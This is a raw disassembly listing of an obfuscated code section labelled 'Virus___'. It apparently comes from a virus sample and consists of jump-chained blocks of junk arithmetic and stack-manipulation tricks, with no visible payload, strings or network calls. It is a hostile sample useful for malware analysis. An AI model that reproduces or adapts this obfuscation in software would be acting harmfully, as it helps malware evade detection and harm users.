		push	ebx
		mov	ebx, 6EEC6963h
		jmp	loc_56218C
; ---------------------------------------------------------------------------


loc_55FEAE:				; CODE XREF: Virus___:0055039Aj
		sub	edx, esi
		mov	esi, [esp]
		jmp	loc_557481
; ---------------------------------------------------------------------------


loc_55FEB8:				; CODE XREF: Virus___:00562E27j
		pop	eax
		jmp	loc_55AE47
; ---------------------------------------------------------------------------


loc_55FEBE:				; CODE XREF: Virus___:00558899j
		pop	edx
		pop	esi
		push	ecx
		mov	ecx, 125A1E3Ch
		add	[esp+8], ecx
		pop	ecx
		add	[esp+4], eax
		push	ebp
		jmp	loc_562EE9
; ---------------------------------------------------------------------------


loc_55FED5:				; CODE XREF: Virus___:00558F43j
		xor	ebp, 608844A2h
		jmp	loc_55A6DD
; ---------------------------------------------------------------------------


loc_55FEE0:				; CODE XREF: Virus___:005521F0j
		xchg	ecx, [esp]
		jmp	loc_551438
; ---------------------------------------------------------------------------


loc_55FEE8:				; CODE XREF: Virus___:0055CEE5j
		add	esp, 4
		shr	ecx, 1
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 639D0AA2h
		push	eax
		mov	eax, 370F051Fh
		not	eax
		jmp	loc_55033C
; ---------------------------------------------------------------------------


loc_55FF08:				; CODE XREF: Virus___:00552D38j
		sub	al, 0ACh
		sub	al, 2Eh
		sub	esp, 2
		mov	[esp], bx
		push	edx
		mov	dh, 0B5h
		neg	dh
		dec	dh
		shl	dh, 1
		push	bx
		mov	bl, 4Ch
		add	dh, 0CBh
		add	dh, 86h
		add	dh, bl
		sub	dh, 86h
		sub	dh, 0CBh
		pop	bx
		push	ebp
		jmp	loc_555644
; ---------------------------------------------------------------------------


loc_55FF39:				; CODE XREF: Virus___:0055E63Cj
		mov	[esp], ecx
		mov	ecx, 0DE43F7Ch
		push	ebp
		push	edi
		mov	edi, 62A65488h
		shl	edi, 1
		inc	edi
		and	edi, 285D4F4Eh
		push	edx
		mov	edx, 1E811E51h
		and	edx, 7C27168Fh
		jmp	loc_562846
; ---------------------------------------------------------------------------


loc_55FF62:				; CODE XREF: Virus___:0055AAD3j
		add	ebp, 777A4C16h
		jmp	loc_55C5A7
; ---------------------------------------------------------------------------


loc_55FF6D:				; CODE XREF: Virus___:0054FC4Ej
		mov	edi, ecx
		jmp	loc_556C69
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		jmp	loc_55D293
; ---------------------------------------------------------------------------


loc_55FF8F:				; CODE XREF: Virus___:00563A25j
		xor	ebx, edx
		mov	edx, [esp]
		jmp	loc_55558E
; ---------------------------------------------------------------------------


loc_55FF99:				; CODE XREF: Virus___:00555F7Cj
		mov	eax, edi
		pop	edi
		pop	ecx
		push	eax
		mov	eax, 2B6B0351h
		mov	ebx, 5001B09Fh
		xor	ebx, eax
		pop	eax
		sub	ebx, eax
		pop	eax
		push	edx
		mov	edx, ebx
		mov	esi, edx
		pop	edx
		pop	ebx
		push	esi
		sub	dword ptr [esp], 2D931D39h
		pop	eax
		add	eax, 2D931D39h
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	eax
		pop	ecx
		jmp	loc_55FA02
; ---------------------------------------------------------------------------


loc_55FFE2:				; CODE XREF: Virus___:005501D1j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_559F73
; ---------------------------------------------------------------------------


loc_55FFF2:				; CODE XREF: Virus___:00559BA2j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_563E90
; ---------------------------------------------------------------------------


loc_560000:				; CODE XREF: Virus___:00563EA9j
		xor	edx, esi
		pop	esi
		add	edi, edx
		pop	edx
		jmp	loc_551FC9
; ---------------------------------------------------------------------------


loc_56000B:				; CODE XREF: Virus___:0055C153j
		xor	ebx, ebp
		jmp	loc_550C15
; ---------------------------------------------------------------------------


loc_560012:				; CODE XREF: Virus___:0055C1D1j
		mov	edi, 59504092h
		shl	edi, 7
		push	eax
		mov	eax, 39901E3Ch
		dec	eax
		or	eax, 44EB7806h
		push	edx
		push	eax
		mov	eax, 348583Eh
		jmp	loc_5642F5
; ---------------------------------------------------------------------------


loc_560032:				; CODE XREF: Virus___:0055E7E0j
		and	dl, 7Bh
		jmp	loc_55B37E
; ---------------------------------------------------------------------------


loc_56003A:				; CODE XREF: Virus___:00564ABFj
		sub	ebp, 4F6271Dh
		shr	ebp, 2
		push	eax
		jmp	loc_5522E1
; ---------------------------------------------------------------------------


loc_560049:				; CODE XREF: Virus___:005537C2j
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 55D66A49h
		push	esi
		push	0
		jmp	loc_55262A
; ---------------------------------------------------------------------------


loc_560065:				; CODE XREF: Virus___:00556E4Bj
		neg	edx
		jmp	loc_5537F9
; ---------------------------------------------------------------------------


loc_56006C:				; CODE XREF: Virus___:0055DB40j
		mov	dl, 0ACh
		jmp	loc_560102
; ---------------------------------------------------------------------------


loc_560073:				; CODE XREF: Virus___:0055CAA9j
		or	ch, 5Bh
		sub	ch, 0FFh
		jmp	loc_55682D
; ---------------------------------------------------------------------------


loc_56007E:				; CODE XREF: Virus___:0055A6E8j
		pop	esi
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_5585FB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		push	240Eh
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55B17D
; ---------------------------------------------------------------------------


loc_56009F:				; CODE XREF: Virus___:005643D1j
		pop	edx
		neg	eax
		jmp	loc_56084D
; ---------------------------------------------------------------------------


loc_5600A7:				; CODE XREF: Virus___:0055D3BAj
		pop	edi
		jmp	loc_55C252
; ---------------------------------------------------------------------------


loc_5600AD:				; CODE XREF: Virus___:0055BCA8j
		pop	edx
		inc	ebp
		shl	ebp, 1
		jmp	loc_55680B
; ---------------------------------------------------------------------------


loc_5600B6:				; CODE XREF: Virus___:0054FE6Dj
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_56493F
; ---------------------------------------------------------------------------


loc_5600C0:				; CODE XREF: Virus___:005585DCj
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		jmp	loc_556285
; ---------------------------------------------------------------------------


loc_5600D4:				; CODE XREF: Virus___:00557643j
		pop	esi
		add	esp, 4
		pop	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_556260
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_55986B
; ---------------------------------------------------------------------------


loc_5600F1:				; CODE XREF: Virus___:00553990j
		xor	esi, 4BF2176Fh
		sub	edi, esi
		pop	esi
		pop	ebx
		add	edi, esi
		jmp	loc_552EB3
; ---------------------------------------------------------------------------


loc_560102:				; CODE XREF: Virus___:0056006Ej
		sub	al, 14h
		jmp	loc_559E3C
; ---------------------------------------------------------------------------


loc_560109:				; CODE XREF: Virus___:005568F0j
		xchg	edx, [esp]
		pop	esp
		push	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5605E2
; ---------------------------------------------------------------------------


loc_56011C:				; CODE XREF: Virus___:0055C2D2j
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_5623DF
; ---------------------------------------------------------------------------


loc_560126:				; CODE XREF: Virus___:00553F94j
		add	esp, 4
		add	edx, eax
		jmp	loc_55A673
; ---------------------------------------------------------------------------


loc_560133:				; CODE XREF: Virus___:005611E7j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	1138h
		mov	[esp], edi
		mov	edi, esp
		push	770Eh
		mov	[esp], ecx
		push	ebp
		push	eax
		jmp	loc_54FDE3
; ---------------------------------------------------------------------------


loc_560157:				; CODE XREF: Virus___:00561E3Fj
		mov	ebx, 28D54D8Ah
		push	ebx
		dec	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		inc	ebx
		sub	ebx, 68003Bh
		xor	ebx, 357C70E1h
		jmp	loc_55E579
; ---------------------------------------------------------------------------


loc_560178:				; CODE XREF: Virus___:005606E0j
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_55E72E
; ---------------------------------------------------------------------------


loc_560182:				; CODE XREF: Virus___:00559CD8j
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_558DB6
		push	5B0Bh
		mov	[esp], edi
		mov	edi, 50F03598h
		push	4564h
		jmp	loc_550522
; ---------------------------------------------------------------------------


loc_5601BA:				; CODE XREF: Virus___:005633F8j
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 33C92E90h
		xor	ebx, 18EB12BBh
		jmp	loc_555829
; ---------------------------------------------------------------------------


loc_5601D3:				; CODE XREF: Virus___:00551D56j
		push	30FBh
		mov	[esp], ebp
		mov	ebp, 4
		push	ebp
		jmp	loc_56056D
; ---------------------------------------------------------------------------


loc_5601E6:				; CODE XREF: Virus___:0055E2C5j
		mov	ebx, 0EBA641Fh
		not	ebx
		shl	ebx, 1
		inc	ebx
		push	ebx
		jmp	loc_556E8A
; ---------------------------------------------------------------------------


loc_5601F6:				; CODE XREF: Virus___:00561163j
		mov	cx, [esp]
		add	esp, 2
		xor	cx, 269Fh
		mov	ebx, [esp]
		add	esp, 4
		add	ax, 4C18h
		jmp	loc_557F4C
; ---------------------------------------------------------------------------


loc_560214:				; CODE XREF: Virus___:00559A20j
		dec	ebx
		push	ecx
		mov	ecx, 36D3731Bh
		jmp	loc_560FA8
; ---------------------------------------------------------------------------


loc_560220:				; CODE XREF: Virus___:00552B12j
		add	esp, 4
		add	eax, ebx
		push	dword ptr [eax]
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	6489h
		mov	[esp], ecx
		jmp	loc_56426A
; ---------------------------------------------------------------------------


loc_56024A:				; CODE XREF: Virus___:00556C02j
		add	ebx, ecx
		jmp	loc_5506B6
; ---------------------------------------------------------------------------


loc_560251:				; CODE XREF: Virus___:005623F1j
		add	esi, 4
		jmp	loc_55932D
; ---------------------------------------------------------------------------


loc_560259:				; CODE XREF: Virus___:0055A051j
		push	dword ptr [esp]
		pop	eax
		push	26A0h
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4A16186Ah
		xor	ebp, 610944ABh
		neg	ebp
		push	esi
		mov	esi, 0D4E0A33Bh
		xor	ebp, esi
		pop	esi
		sub	esi, 75F569DCh
		jmp	loc_55FB66
; ---------------------------------------------------------------------------


loc_560297:				; CODE XREF: Virus___:00557C8Cj
		add	edi, 0E31E7508h
		mov	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 5A0E4C6Ah
		sub	ebx, 1284EE2Bh
		jmp	loc_55F537
; ---------------------------------------------------------------------------


loc_5602B1:				; CODE XREF: Virus___:00554FA9j
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_56339A
; ---------------------------------------------------------------------------


loc_5602C1:				; CODE XREF: Virus___:0055533Fj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55EC08
; ---------------------------------------------------------------------------


loc_5602D4:				; CODE XREF: Virus___:005589EFj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		xor	bl, al
		jmp	loc_55C223
; ---------------------------------------------------------------------------


loc_5602E7:				; CODE XREF: Virus___:00557FC6j
		mov	dl, 40h
		mov	cl, dl
		jmp	loc_552032
; ---------------------------------------------------------------------------


loc_5602F0:				; CODE XREF: Virus___:00554ECDj
		mov	ah, 0F7h
		jmp	loc_55AC1E
; ---------------------------------------------------------------------------


loc_5602F7:				; CODE XREF: Virus___:0055C26Fj
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55B3A7
; ---------------------------------------------------------------------------


loc_560312:				; CODE XREF: Virus___:0055F80Bj
		not	esi
		xor	esi, 0B89D8739h
		mov	ecx, esi
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_554582
; ---------------------------------------------------------------------------


loc_56032B:				; CODE XREF: Virus___:0055CE6Bj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_55BD76
; ---------------------------------------------------------------------------


loc_56034F:				; CODE XREF: Virus___:00555B86j
		push	eax
		mov	eax, 2DFD01F2h
		sub	eax, 58E35420h
		and	eax, 36670B6Dh
		jmp	loc_561434
; ---------------------------------------------------------------------------


loc_560364:				; CODE XREF: Virus___:00553C31j
		pop	esi
		sub	edx, 38BD2E2Ch
		jmp	loc_554962
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 41E65619h
		or	ebx, 7D1D07A0h
		neg	ebx
		jmp	loc_55A7B6
; ---------------------------------------------------------------------------


loc_56038A:				; CODE XREF: Virus___:0055D7EFj
		add	al, 0D3h
		mov	dx, [esp]
		add	esp, 2
		sub	bl, 70h
		jmp	loc_55A8FB
; ---------------------------------------------------------------------------


loc_56039B:				; CODE XREF: Virus___:00555932j
		mov	[esp], edx
		push	3Ch
		pop	edx
		push	ebp
		mov	ebp, 45F424EEh
		shr	ebp, 2
		push	esi
		jmp	loc_55D00E
; ---------------------------------------------------------------------------


loc_5603B3:				; CODE XREF: Virus___:0055E9D9j
		add	edx, 4
		push	eax
		jmp	loc_5520F1
; ---------------------------------------------------------------------------


loc_5603BF:				; CODE XREF: Virus___:00564CE7j
		mov	eax, 597271ECh
		or	eax, 151A49D2h
		shl	eax, 7
		push	edi
		mov	edi, 20757A0Dh
		push	esi
		mov	esi, 53833819h
		inc	esi
		jmp	loc_55803D
; ---------------------------------------------------------------------------


loc_5603DE:				; CODE XREF: Virus___:00561CC7j
		shr	ebx, 7
		xor	ebx, 15B53153h
		push	eax
		mov	eax, 45830FFFh
		jmp	loc_55A643
; ---------------------------------------------------------------------------


loc_5603F2:				; CODE XREF: Virus___:00561A43j
		push	edi
		push	7B887DD1h
		jmp	loc_55B406
; ---------------------------------------------------------------------------


loc_5603FD:				; CODE XREF: Virus___:00556544j
		xor	ebx, 35BD428Eh
		add	ebx, 0D2637F1Dh
		sub	ecx, ebx
		pop	ebx
		jmp	loc_554CF4
; ---------------------------------------------------------------------------


loc_560411:				; CODE XREF: Virus___:00561085j
		add	esp, 4
		push	302Ah
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_55B5C3
; ---------------------------------------------------------------------------


loc_560426:				; CODE XREF: Virus___:0055F35Fj
		neg	al
		xor	al, 54h
		push	edx
		mov	dh, 0DAh
		add	al, 67h
		add	al, dh
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0E1h
		shl	cl, 3
		push	ebx
		mov	bl, 15h
		jmp	loc_55389A
; ---------------------------------------------------------------------------


loc_560447:				; CODE XREF: Virus___:00552958j
		xor	ebx, edi
		pop	edi
		jmp	loc_556B75
; ---------------------------------------------------------------------------


loc_56044F:				; CODE XREF: Virus___:0055F3E3j
		mov	edi, edx
		pop	edx
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		jmp	loc_550918
; ---------------------------------------------------------------------------


loc_560460:				; CODE XREF: Virus___:0055709Aj
		push	eax
		push	ecx
		mov	cl, bl
		mov	al, cl
		pop	ecx
		push	ebx
		mov	bh, al
		jmp	loc_5516D8
; ---------------------------------------------------------------------------


loc_56046F:				; CODE XREF: Virus___:0055A8FFj
		mov	dl, 70h
		add	bl, 0F5h
		add	bl, dl
		sub	bl, 0F5h
		mov	dx, [esp]
		jmp	loc_55BC4F
; ---------------------------------------------------------------------------


loc_560482:				; CODE XREF: Virus___:00555CB1j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_555C5C
; ---------------------------------------------------------------------------


loc_56048F:				; CODE XREF: Virus___:00561592j
		xor	eax, ebp
		xor	ebp, eax
		not	eax
		xchg	eax, ebp
		shl	ebp, 6
		and	ebp, 419D7257h
		push	ecx
		mov	ecx, 6BEF3BB3h
		shr	ecx, 2
		dec	ecx
		and	ecx, 72E120B8h
		shr	ecx, 7
		jmp	loc_55ECF9
; ---------------------------------------------------------------------------


loc_5604B7:				; CODE XREF: Virus___:00560E84j
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_562D1D
; ---------------------------------------------------------------------------


loc_5604C4:				; CODE XREF: Virus___:0055EE7Bj
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_555BED
; ---------------------------------------------------------------------------


loc_5604D6:				; CODE XREF: Virus___:00552E80j
		pop	dword ptr [eax]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5604DD:				; CODE XREF: Virus___:00563EDDj
		mov	ecx, 59A41C22h
		sub	esi, ecx
		pop	ecx
		or	[edi+1Ch], esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_560C14
; ---------------------------------------------------------------------------


loc_560501:				; CODE XREF: Virus___:0055BD2Bj
		pop	eax
		or	ecx, edi
		pop	edi
		push	eax
		jmp	loc_558CB3
; ---------------------------------------------------------------------------


loc_56050B:				; CODE XREF: Virus___:005508B2j
		pop	edi
		xor	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebx, 6A42108Bh
		add	ebx, eax
		jmp	loc_555215
; ---------------------------------------------------------------------------


loc_56052D:				; CODE XREF: Virus___:0055FB79j
		add	esp, 4
		add	eax, 72DC06A8h
		add	eax, ebp
		push	edi
		mov	edi, 72DC06A8h
		sub	eax, edi
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55903C
; ---------------------------------------------------------------------------


loc_560557:				; CODE XREF: Virus___:00564851j
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		add	dword ptr [esp], 11522796h
		jmp	loc_5544B7
; ---------------------------------------------------------------------------


loc_56056D:				; CODE XREF: Virus___:005601E1j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		push	esi
		jmp	loc_5637B1
; ---------------------------------------------------------------------------


loc_56057E:				; CODE XREF: Virus___:0055CEA7j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	esp, 4
		push	edx
		jmp	loc_5582D8
; ---------------------------------------------------------------------------


loc_56058E:				; CODE XREF: Virus___:0055DB48j
		xchg	eax, [esp]
		mov	esp, [esp]
		add	esi, ebx
		jmp	loc_563649
; ---------------------------------------------------------------------------


loc_56059B:				; CODE XREF: Virus___:0055DD72j
		add	esp, 4
		push	eax
		push	ebx
		jmp	loc_54F894
; ---------------------------------------------------------------------------


loc_5605A8:				; CODE XREF: Virus___:0055D6D8j
		push	ebx
		push	ebp
		jmp	loc_550F98
; ---------------------------------------------------------------------------


loc_5605AF:				; CODE XREF: Virus___:00551FACj
		add	esp, 4
		shl	dword ptr [edi+20h], 1
		shl	dword ptr [edi+20h], 1
		shl	dword ptr [edi+20h], 6
		inc	dword ptr [edi+20h]
		jmp	loc_561CAE
; ---------------------------------------------------------------------------


loc_5605C7:				; CODE XREF: Virus___:0054FE0Ej
		mov	ebx, 3CD811DDh
		sub	ebx, 2BCBB7B9h
		jmp	loc_552281
; ---------------------------------------------------------------------------


loc_5605D7:				; CODE XREF: Virus___:005528D4j
		and	edx, 2F2A45BBh
		jmp	loc_55425A
; ---------------------------------------------------------------------------


loc_5605E2:				; CODE XREF: Virus___:00560117j
		push	edi
		mov	edi, 606569B9h
		not	edi
		push	4131h
		mov	[esp], ecx
		mov	ecx, 4F9113C8h
		sub	ecx, 2A954CF3h
		inc	ecx
		and	ecx, 76240E8h
		sub	ecx, 5F7F3D59h
		sub	ecx, 4D3BC314h
		neg	ecx
		jmp	loc_5624A0
; ---------------------------------------------------------------------------


loc_560617:				; CODE XREF: Virus___:0055B6D2j
		push	1BC73D60h
		mov	edi, [esp]
		add	esp, 4
		shr	edi, 7
		jmp	loc_560F5F
; ---------------------------------------------------------------------------


loc_56062D:				; CODE XREF: Virus___:00556614j
		sub	ebx, 346F1236h
		jmp	loc_55820A
; ---------------------------------------------------------------------------


loc_560638:				; CODE XREF: Virus___:0056065Dj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_562B78
; ---------------------------------------------------------------------------


loc_560646:				; CODE XREF: Virus___:00562713j
		add	edx, esi
		pop	esi
		add	edx, ebp
		sub	edx, 2DE920BFh
		mov	ebp, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_560638
; ---------------------------------------------------------------------------


loc_560662:				; CODE XREF: Virus___:005549C7j
		shr	esi, 3
		dec	esi
		jmp	loc_5507DE
; ---------------------------------------------------------------------------


loc_56066B:				; CODE XREF: Virus___:0055530Cj
		push	edx
		jmp	loc_551A7B
; ---------------------------------------------------------------------------


loc_560671:				; CODE XREF: Virus___:0055E5B0j
		pop	ebx
		pop	eax
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_551A85
; ---------------------------------------------------------------------------


loc_56068F:				; CODE XREF: Virus___:005632AEj
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_558193
; ---------------------------------------------------------------------------


loc_56069C:				; CODE XREF: Virus___:005579C4j
		pop	edx
		pop	ecx
		add	al, 0C6h
		sub	al, bl
		push	ebx
		mov	bh, 0C6h
		jmp	loc_557E37
; ---------------------------------------------------------------------------


loc_5606AA:				; CODE XREF: Virus___:005618E1j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_563D70
; ---------------------------------------------------------------------------


loc_5606C0:				; CODE XREF: Virus___:0055BD12j
		pop	eax
		jmp	loc_558142
; ---------------------------------------------------------------------------


loc_5606C6:				; CODE XREF: Virus___:00553F38j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 66500A2Bh
		add	edi, 99AFF5D9h
		jmp	loc_560178
; ---------------------------------------------------------------------------


loc_5606E5:				; CODE XREF: Virus___:00559FE4j
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_561D30
; ---------------------------------------------------------------------------


loc_5606FD:				; CODE XREF: Virus___:0055ACA3j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56248F
; ---------------------------------------------------------------------------


loc_56071A:				; CODE XREF: Virus___:0055BD5Bj
		push	edi
		mov	edi, 5C18733Eh
		jmp	loc_5598DE
; ---------------------------------------------------------------------------


loc_560725:				; CODE XREF: Virus___:0055C32Ej
		mov	[esp], edi
		mov	edi, 42AA21DCh
		shl	edi, 6
		shr	edi, 8
		or	edi, 4A6867CEh
		jmp	loc_55B28C
; ---------------------------------------------------------------------------


loc_56073E:				; CODE XREF: Virus___:0056226Cj
		mov	esp, [esp]
		push	2000h
		mov	[esp], ebx
		jmp	loc_5554CB
; ---------------------------------------------------------------------------


loc_56074E:				; CODE XREF: Virus___:00556FBBj
		mov	eax, 75EC6B54h
		and	eax, 723F391Bh
		push	ecx
		mov	ecx, 4A2F4F8Dh
		jmp	loc_560D8A
; ---------------------------------------------------------------------------


loc_560763:				; CODE XREF: Virus___:0055AE9Cj
		and	ebp, ebx
		push	dword ptr [esp]
		jmp	loc_554BE9
; ---------------------------------------------------------------------------


loc_56076D:				; CODE XREF: Virus___:005582CBj
		add	al, cl
		add	al, 0F1h
		jmp	loc_552D37
; ---------------------------------------------------------------------------


loc_560776:				; CODE XREF: Virus___:00562607j
		pop	esp
		mov	[esp], edx
		jmp	loc_55C6FA
; ---------------------------------------------------------------------------


loc_56077F:				; CODE XREF: Virus___:0055A08Dj
		xor	eax, esi
		jmp	loc_54FEE5
; ---------------------------------------------------------------------------


loc_560786:				; CODE XREF: Virus___:00553FC7j
		add	ecx, eax
		mov	eax, [esp]
		jmp	loc_561D9D
; ---------------------------------------------------------------------------


loc_560790:				; CODE XREF: Virus___:005503F7j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	51DFh
		jmp	loc_556F2C
; ---------------------------------------------------------------------------


loc_5607A1:				; CODE XREF: Virus___:0055F052j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_554008
; ---------------------------------------------------------------------------


loc_5607AA:				; CODE XREF: Virus___:0056123Dj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	ecx, 7
		push	351Ch
		mov	[esp], ebx
		sub	dword ptr [esp], 0F672D5Fh
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5559BA
; ---------------------------------------------------------------------------


loc_5607CE:				; CODE XREF: Virus___:00562D32j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_561669
; ---------------------------------------------------------------------------


loc_5607D7:				; CODE XREF: Virus___:0055A85Cj
		sub	eax, edi
		sub	eax, 505E24FAh
		pop	edi
		add	ebp, 16940D56h
		push	28Bh
		mov	[esp], ecx
		mov	ecx, 6FB57ADEh
		neg	ecx
		sub	ecx, 6C370C4Dh
		jmp	loc_55A3BC
; ---------------------------------------------------------------------------


loc_5607FF:				; CODE XREF: Virus___:005567A0j
		shl	cl, 8
		add	cl, 93h
		add	cl, 0CFh
		sub	cl, 7Fh
		xor	cl, 37h
		add	bl, 87h
		add	bl, 3Dh
		jmp	loc_55C1D6
; ---------------------------------------------------------------------------


loc_560819:				; CODE XREF: Virus___:005559DDj
		shr	dh, 4
		jmp	loc_55DC7F
; ---------------------------------------------------------------------------


loc_560821:				; CODE XREF: Virus___:00554B7Aj
		mov	[esp], cx
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_56082A:				; CODE XREF: Virus___:005526D6j
		sub	dword ptr [esp+4], 5B5E7712h
		sub	[esp+4], ebx
		sub	esp, 4
		jmp	loc_55E2C1
; ---------------------------------------------------------------------------


loc_56083E:				; CODE XREF: Virus___:00557025j
		mov	eax, [esp]
		jmp	loc_5637BE
; ---------------------------------------------------------------------------


loc_560846:				; CODE XREF: Virus___:005610FBj
		push	ebx
		push	ebp
		jmp	loc_55C285
; ---------------------------------------------------------------------------


loc_56084D:				; CODE XREF: Virus___:005600A2j
		shl	eax, 5
		or	eax, 1F6C3DF9h
		neg	eax
		jmp	loc_56164A
; ---------------------------------------------------------------------------


loc_56085C:				; CODE XREF: Virus___:005574DAj
		dec	ebx
		push	esi
		mov	esi, 3B52739Eh
		shr	esi, 3
		xor	esi, 68B30994h
		jmp	loc_5645C0
; ---------------------------------------------------------------------------


loc_560871:				; CODE XREF: Virus___:0055C83Ej
		add	esp, 4
		push	ebp
		push	ecx
		mov	ecx, 4E2C0BE9h
		sub	[esp+4], ecx
		pop	ecx
		mov	edx, [esp]
		jmp	loc_553C48
; ---------------------------------------------------------------------------


loc_560888:				; CODE XREF: Virus___:00552CF0j
		shl	edi, 6
		sub	edi, 6A7C3B9Bh
		sub	edi, 94815E5Bh
		jmp	loc_559D70
; ---------------------------------------------------------------------------


loc_56089C:				; CODE XREF: Virus___:00558C8Fj
		mov	[esp], esi
		jmp	loc_551867
; ---------------------------------------------------------------------------


loc_5608A4:				; CODE XREF: Virus___:00555577j
		pop	esp
		jmp	loc_561FDF
; ---------------------------------------------------------------------------


loc_5608AA:				; CODE XREF: Virus___:0055710Bj
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		push	edx
		mov	edx, 4
		mov	edi, edx
		pop	edx
		sub	esi, edi
		jmp	loc_54FACA
; ---------------------------------------------------------------------------


loc_5608D0:				; CODE XREF: Virus___:00554F6Cj
		xor	eax, 0EE91F65h
		push	edx
		jmp	loc_561378
; ---------------------------------------------------------------------------


loc_5608DB:				; CODE XREF: Virus___:00563634j
		pop	eax
		add	ebp, 1
		jmp	loc_55EEA7
; ---------------------------------------------------------------------------


loc_5608E7:				; CODE XREF: Virus___:0055E59Fj
		pop	eax
		pop	ebx
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5608EE:				; CODE XREF: Virus___:0054FB45j
		pop	ebx
		push	1D38h
		jmp	loc_553928
; ---------------------------------------------------------------------------


loc_5608F9:				; CODE XREF: Virus___:005625CEj
		mov	bx, [esp]
		add	esp, 2
		shl	ch, 1
		push	eax
		mov	al, 3Eh
		xor	ch, al
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	al, ch
		pop	ecx
		sub	esp, 4
		jmp	loc_55EFD0
; ---------------------------------------------------------------------------


loc_560922:				; CODE XREF: Virus___:0055CB20j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5536DF
